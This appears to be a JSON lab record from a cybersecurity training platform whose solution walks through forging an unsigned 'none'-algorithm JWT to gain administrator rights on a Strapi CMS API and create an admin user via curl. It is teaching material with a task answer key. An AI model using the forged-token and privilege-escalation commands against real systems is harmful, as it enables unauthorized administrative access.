{
    "id": "81fd49f4-e804-47af-ab56-a25d1a174815",
    "name": "JWT Token Authentication",
    "slug": "jwt-token-authentication",
    "status": "published",
    "lab_type": "pta",
    "is_sample": false,
    "duration_in_seconds": 1800,
    "metadata": {
        "courses": [
            "1d57c59b-cc5e-448a-898f-56a04d9d6989"
        ],
        "pta_sdn": "1351",
        "pta_manual_id": "3f0a-35e7-fbcb-1420",
        "pta_namespace": "attackdefenselabs",
        "learning_paths": [],
        "has_published_parent": true
    },
    "session": null,
    "company": "a491bc32-c056-4946-9169-cc053387bada",
    "created": "2025-01-22T21:05:46.695262Z",
    "modified": "2025-01-22T21:15:44.340413Z",
    "is_beta": false,
    "lab_objectives": [],
    "main_learning_area": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa",
    "learning_areas": [
        {
            "id": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa",
            "name": "Cyber Security",
            "slug": "cyber-security"
        }
    ],
    "categories": [],
    "tags": [],
    "difficulty": "professional",
    "is_web_access": false,
    "is_lab_experience": false,
    "is_featured": false,
    "cve": null,
    "severity": null,
    "year": null,
    "classification": null,
    "is_trackable": false,
    "cpe_credits": null,
    "is_skill_check": false,
    "external_url": "",
    "solution_video": null,
    "explanation_video": null,
    "description": "The REST API is running on the target machine and uses JWT based authentication. The implementation of JWT is very crucial for the safety of a REST API. One of its crucial parts is the algorithm which is used for signing the tokens. However, the library code handling the JWT signature algorithm was buggy.",
    "description_html": "<p>The REST API is running on the target machine and uses JWT based authentication. The implementation of JWT is very crucial for the safety of a REST API. One of its crucial parts is the algorithm which is used for signing the tokens. However, the library code handling the JWT signature algorithm was buggy.</p>",
    "tasks": "Objective: Retrieve the flag stored on the server!\n\n## User Information\n- Username: elliot\n- Email: elliot@evilcorp.com\n- Password: elliotalderson",
    "tasks_html": "<p>Objective: Retrieve the flag stored on the server!</p>\n<h2>User Information</h2>\n<ul>\n<li>Username: elliot</li>\n<li>Email: elliot@evilcorp.com</li>\n<li>Password: elliotalderson</li>\n</ul>",
    "published_date": "2025-01-22T21:14:05.880039Z",
    "solutions": "## Step 1: Check the IP address of the machine.\n\nCommand:  `ifconfig`\n\n![image11](https://assets.ine.com/lab/learningpath/e1b625c950fd14735e30a9b0e40c4c12d95f91fda2c970ddfb1eed5ef48f16da.png)\n\n\nThe IP address of the machine is 192.14.147.2. Therefore, the target REST API is running on 192.14.147.3, at port 1337.\n\n## Step 2: Checking the presence of the REST API.\n\nCommand: `curl 192.14.147.3:1337`\n\n![image1](https://assets.ine.com/lab/learningpath/27bf2d6a11cdb0bd24f8cdc45da1df83d0c4a3c50ba538eed44e51151a23479a.png)\n\nThe response reflects that Strapi CMS is running on the target machine.\n\n## Step 3: Getting the JWT Token for user elliot.\n\nCommand: `curl -H \"Content-Type: application/json\" -X POST -d '{\"identifier\": \"elliot\",\"password\": \"elliotalderson\"}' [http://192.14.147.3:1337/auth/local/] | jq`\n\n![image12](https://assets.ine.com/lab/learningpath/a7be433e6c2fbe272d377fa4afae8a4a39d9ecd56ae469ea5b7a053f49905ef1.png)\n\n\nThe response contains the JWT Token for the user.\n\nJWT Token: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiaWF0IjoxNTczMzU4Mzk2fQ.RwNNHvOKZk8p6fICIeezuajDalK8ZSOkEGMhZsRPFSk`\n\n## Step 4: Decoding the header and payload parts of the JWT token obtained in the previous step.\n\nUsing base64 utility to decode the token.\n\nDecoding the header part of the token retrieved in Step 3:\n\nCommand: `echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d`\n\n\n![image0](https://assets.ine.com/lab/learningpath/18bd39734472b6b67c3f11d8e6e99373d7f970276610c88e8d9a6b64c7efa204.png)\n\n\nDecoding the payload part of the token retrieved in Step 3:\n\nCommand: `echo eyJpZCI6MiwiaWF0IjoxNTczMzU4Mzk2fQ | base64 -d`\n\n![image6](https://assets.ine.com/lab/learningpath/bb6bc8b597e068163f43f910fcf2ab075122552b13826f75a34c4a1d5ed19549.png)\n\nNote: Sometimes decoding the header or payload using base64 utility might result in an error. It happens because JWT token uses `base64UrlEncode` algorithm. It strips off all the \"=\" signs which serve as the padding character in base64 encoded data.\n\n## Step 5: Creating a forged token.\n\nSince the secret key used for signing the tokens is not known, let\u201a\u00c4\u00f4s create a JWT token specifying the \"none\" algorithm.\n\nUsing base64 utility to generate the forged token.\n\nChanging the signing algorithm to \"none\":\n\nCommand: `echo -n '{\"typ\":\"JWT\",\"alg\":\"none\"}' | base64`\n\n![image5](https://assets.ine.com/lab/learningpath/de07bbd0dfe39e5ab44e44cf2611ca3097a2cc36705adfa3b4f68000fd5c2897.png)\n\n\nNote: Remove all the trailing \"=\" from the output.\n\nModified Header: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0`\n\nChanging the id to \"1\" in the payload part of the token:\n\nCommand: `echo -n '{\"id\":1,\"iat\":1573358396}' | base64`\n\n![image10](https://assets.ine.com/lab/learningpath/98af38715c6892c15c776f76a634024497395ace59952c9be125808be5c4b3a6.png)\n\n\nNote: In Strapi, the id is assigned as follows:\n- Administrator user has id = 1\n- Authenticated user has id = 2\n- Public user has id = 3\n\nSince we are using \"none\" algorithm, no signing key would be used. So, the value for id could be forged and changed to 1 (Administrator).\n\nModified Payload: `eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ`\n\nWe will keep the signature part of the JWT Token as empty, since we are using the signature algorithm as \"none\".\n\nForged Token: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ.`\n\nNote: Do not forget to place a trailing dot at the end of the payload section.\n\nUsing https://jwt.io to decode the forged token:\n\n\n![image3](https://assets.ine.com/lab/learningpath/b8eba3e038d62a6c00a9151d2825cb5d2565d21848307d0f239ee2f48b23c597.png)\n\n\n## Step 6: Creating a new user with an administrator role.\n\nUse the following curl command to create a new user with administrator role (role = 1).\n\nCommand: `curl -X POST -H \"Content-Type: application/json\" -H \"Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ.\" [http://192.14.147.3:1337/users] -d '{ \"username\": \"test\", \"email\": \"test@test.com\", \"password\": \"password\", \"role\":\"1\" }' | jq`\n\nNote: The JWT token used in the Authorization header is the one created in the previous step, using the \"none\" algorithm.\n\n![image9](https://assets.ine.com/lab/learningpath/5b9e6dc6789c0cec57620c7a04df36b41ceaf7e5dc5257b803b07371427f7fe2.png)\n\n\nThe request for the creation of the new user succeeded. This means that the API supports the JWT tokens signed using the \"none\" algorithm.\n\n## Step 7: Login to the Strapi Admin Panel using the credentials of the newly created user.\n\nOpen the following URL in Firefox:\n\nStrapi Admin Panel URL: [http://192.14.147.3:1337/admin]\n\n![image2](https://assets.ine.com/lab/learningpath/9796bafc182361f186eb935a0454c7262c0f1e2b64b547f79f3fec0da738c927.png)\n\nStep 8: Retrieving the secret flag\n\n![image7](https://assets.ine.com/lab/learningpath/7185a656a28c5a3192f2c10465aaf834b6219e31134e9e0d744ba2bb53352ef0.png)\n\nOpen the Secretflags content type on the left panel.\n\n![image4](https://assets.ine.com/lab/learningpath/b3fa276e4d571e667757f66b25187d37a3fcdd02e3003fb14e965dae44e201d3.png)\n\nNotice there is only one entry. That entry contains the flag.\n\nClick on that entry and retrieve the flag.\n\n![image8](https://assets.ine.com/lab/learningpath/93f7643dae0d4ea04fd2c7fc5e1f9a3c9e47657ec456320fcb6d74e31cbfa32d.png)",
    "solutions_html": "<h2>Step 1: Check the IP address of the machine.</h2>\n<p>Command:  <code>ifconfig</code></p>\n<p><img alt=\"image11\" src=\"https://assets.ine.com/lab/learningpath/e1b625c950fd14735e30a9b0e40c4c12d95f91fda2c970ddfb1eed5ef48f16da.png\" /></p>\n<p>The IP address of the machine is 192.14.147.2. Therefore, the target REST API is running on 192.14.147.3, at port 1337.</p>\n<h2>Step 2: Checking the presence of the REST API.</h2>\n<p>Command: <code>curl 192.14.147.3:1337</code></p>\n<p><img alt=\"image1\" src=\"https://assets.ine.com/lab/learningpath/27bf2d6a11cdb0bd24f8cdc45da1df83d0c4a3c50ba538eed44e51151a23479a.png\" /></p>\n<p>The response reflects that Strapi CMS is running on the target machine.</p>\n<h2>Step 3: Getting the JWT Token for user elliot.</h2>\n<p>Command: <code>curl -H \"Content-Type: application/json\" -X POST -d '{\"identifier\": \"elliot\",\"password\": \"elliotalderson\"}' [http://192.14.147.3:1337/auth/local/] | jq</code></p>\n<p><img alt=\"image12\" src=\"https://assets.ine.com/lab/learningpath/a7be433e6c2fbe272d377fa4afae8a4a39d9ecd56ae469ea5b7a053f49905ef1.png\" /></p>\n<p>The response contains the JWT Token for the user.</p>\n<p>JWT Token: <code>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiaWF0IjoxNTczMzU4Mzk2fQ.RwNNHvOKZk8p6fICIeezuajDalK8ZSOkEGMhZsRPFSk</code></p>\n<h2>Step 4: Decoding the header and payload parts of the JWT token obtained in the previous step.</h2>\n<p>Using base64 utility to decode the token.</p>\n<p>Decoding the header part of the token retrieved in Step 3:</p>\n<p>Command: <code>echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d</code></p>\n<p><img alt=\"image0\" src=\"https://assets.ine.com/lab/learningpath/18bd39734472b6b67c3f11d8e6e99373d7f970276610c88e8d9a6b64c7efa204.png\" /></p>\n<p>Decoding the payload part of the token retrieved in Step 3:</p>\n<p>Command: <code>echo eyJpZCI6MiwiaWF0IjoxNTczMzU4Mzk2fQ | base64 -d</code></p>\n<p><img alt=\"image6\" src=\"https://assets.ine.com/lab/learningpath/bb6bc8b597e068163f43f910fcf2ab075122552b13826f75a34c4a1d5ed19549.png\" /></p>\n<p>Note: Sometimes decoding the header or payload using base64 utility might result in an error. It happens because JWT token uses <code>base64UrlEncode</code> algorithm. It strips off all the \"=\" signs which serve as the padding character in base64 encoded data.</p>\n<h2>Step 5: Creating a forged token.</h2>\n<p>Since the secret key used for signing the tokens is not known, let\u201a\u00c4\u00f4s create a JWT token specifying the \"none\" algorithm.</p>\n<p>Using base64 utility to generate the forged token.</p>\n<p>Changing the signing algorithm to \"none\":</p>\n<p>Command: <code>echo -n '{\"typ\":\"JWT\",\"alg\":\"none\"}' | base64</code></p>\n<p><img alt=\"image5\" src=\"https://assets.ine.com/lab/learningpath/de07bbd0dfe39e5ab44e44cf2611ca3097a2cc36705adfa3b4f68000fd5c2897.png\" /></p>\n<p>Note: Remove all the trailing \"=\" from the output.</p>\n<p>Modified Header: <code>eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0</code></p>\n<p>Changing the id to \"1\" in the payload part of the token:</p>\n<p>Command: <code>echo -n '{\"id\":1,\"iat\":1573358396}' | base64</code></p>\n<p><img alt=\"image10\" src=\"https://assets.ine.com/lab/learningpath/98af38715c6892c15c776f76a634024497395ace59952c9be125808be5c4b3a6.png\" /></p>\n<p>Note: In Strapi, the id is assigned as follows:\n- Administrator user has id = 1\n- Authenticated user has id = 2\n- Public user has id = 3</p>\n<p>Since we are using \"none\" algorithm, no signing key would be used. So, the value for id could be forged and changed to 1 (Administrator).</p>\n<p>Modified Payload: <code>eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ</code></p>\n<p>We will keep the signature part of the JWT Token as empty, since we are using the signature algorithm as \"none\".</p>\n<p>Forged Token: <code>eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ.</code></p>\n<p>Note: Do not forget to place a trailing dot at the end of the payload section.</p>\n<p>Using https://jwt.io to decode the forged token:</p>\n<p><img alt=\"image3\" src=\"https://assets.ine.com/lab/learningpath/b8eba3e038d62a6c00a9151d2825cb5d2565d21848307d0f239ee2f48b23c597.png\" /></p>\n<h2>Step 6: Creating a new user with an administrator role.</h2>\n<p>Use the following curl command to create a new user with administrator role (role = 1).</p>\n<p>Command: <code>curl -X POST -H \"Content-Type: application/json\" -H \"Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MSwiaWF0IjoxNTczMzU4Mzk2fQ.\" [http://192.14.147.3:1337/users] -d '{ \"username\": \"test\", \"email\": \"test@test.com\", \"password\": \"password\", \"role\":\"1\" }' | jq</code></p>\n<p>Note: The JWT token used in the Authorization header is the one created in the previous step, using the \"none\" algorithm.</p>\n<p><img alt=\"image9\" src=\"https://assets.ine.com/lab/learningpath/5b9e6dc6789c0cec57620c7a04df36b41ceaf7e5dc5257b803b07371427f7fe2.png\" /></p>\n<p>The request for the creation of the new user succeeded. This means that the API supports the JWT tokens signed using the \"none\" algorithm.</p>\n<h2>Step 7: Login to the Strapi Admin Panel using the credentials of the newly created user.</h2>\n<p>Open the following URL in Firefox:</p>\n<p>Strapi Admin Panel URL: [http://192.14.147.3:1337/admin]</p>\n<p><img alt=\"image2\" src=\"https://assets.ine.com/lab/learningpath/9796bafc182361f186eb935a0454c7262c0f1e2b64b547f79f3fec0da738c927.png\" /></p>\n<p>Step 8: Retrieving the secret flag</p>\n<p><img alt=\"image7\" src=\"https://assets.ine.com/lab/learningpath/7185a656a28c5a3192f2c10465aaf834b6219e31134e9e0d744ba2bb53352ef0.png\" /></p>\n<p>Open the Secretflags content type on the left panel.</p>\n<p><img alt=\"image4\" src=\"https://assets.ine.com/lab/learningpath/b3fa276e4d571e667757f66b25187d37a3fcdd02e3003fb14e965dae44e201d3.png\" /></p>\n<p>Notice there is only one entry. That entry contains the flag.</p>\n<p>Click on that entry and retrieve the flag.</p>\n<p><img alt=\"image8\" src=\"https://assets.ine.com/lab/learningpath/93f7643dae0d4ea04fd2c7fc5e1f9a3c9e47657ec456320fcb6d74e31cbfa32d.png\" /></p>",
    "flags": [],
    "min_points_to_pass": null,
    "access_type": "default",
    "user_status": "unstarted",
    "user_lab_status": null,
    "user_status_modified": null,
    "user_flags": [],
    "global_running_session": null
}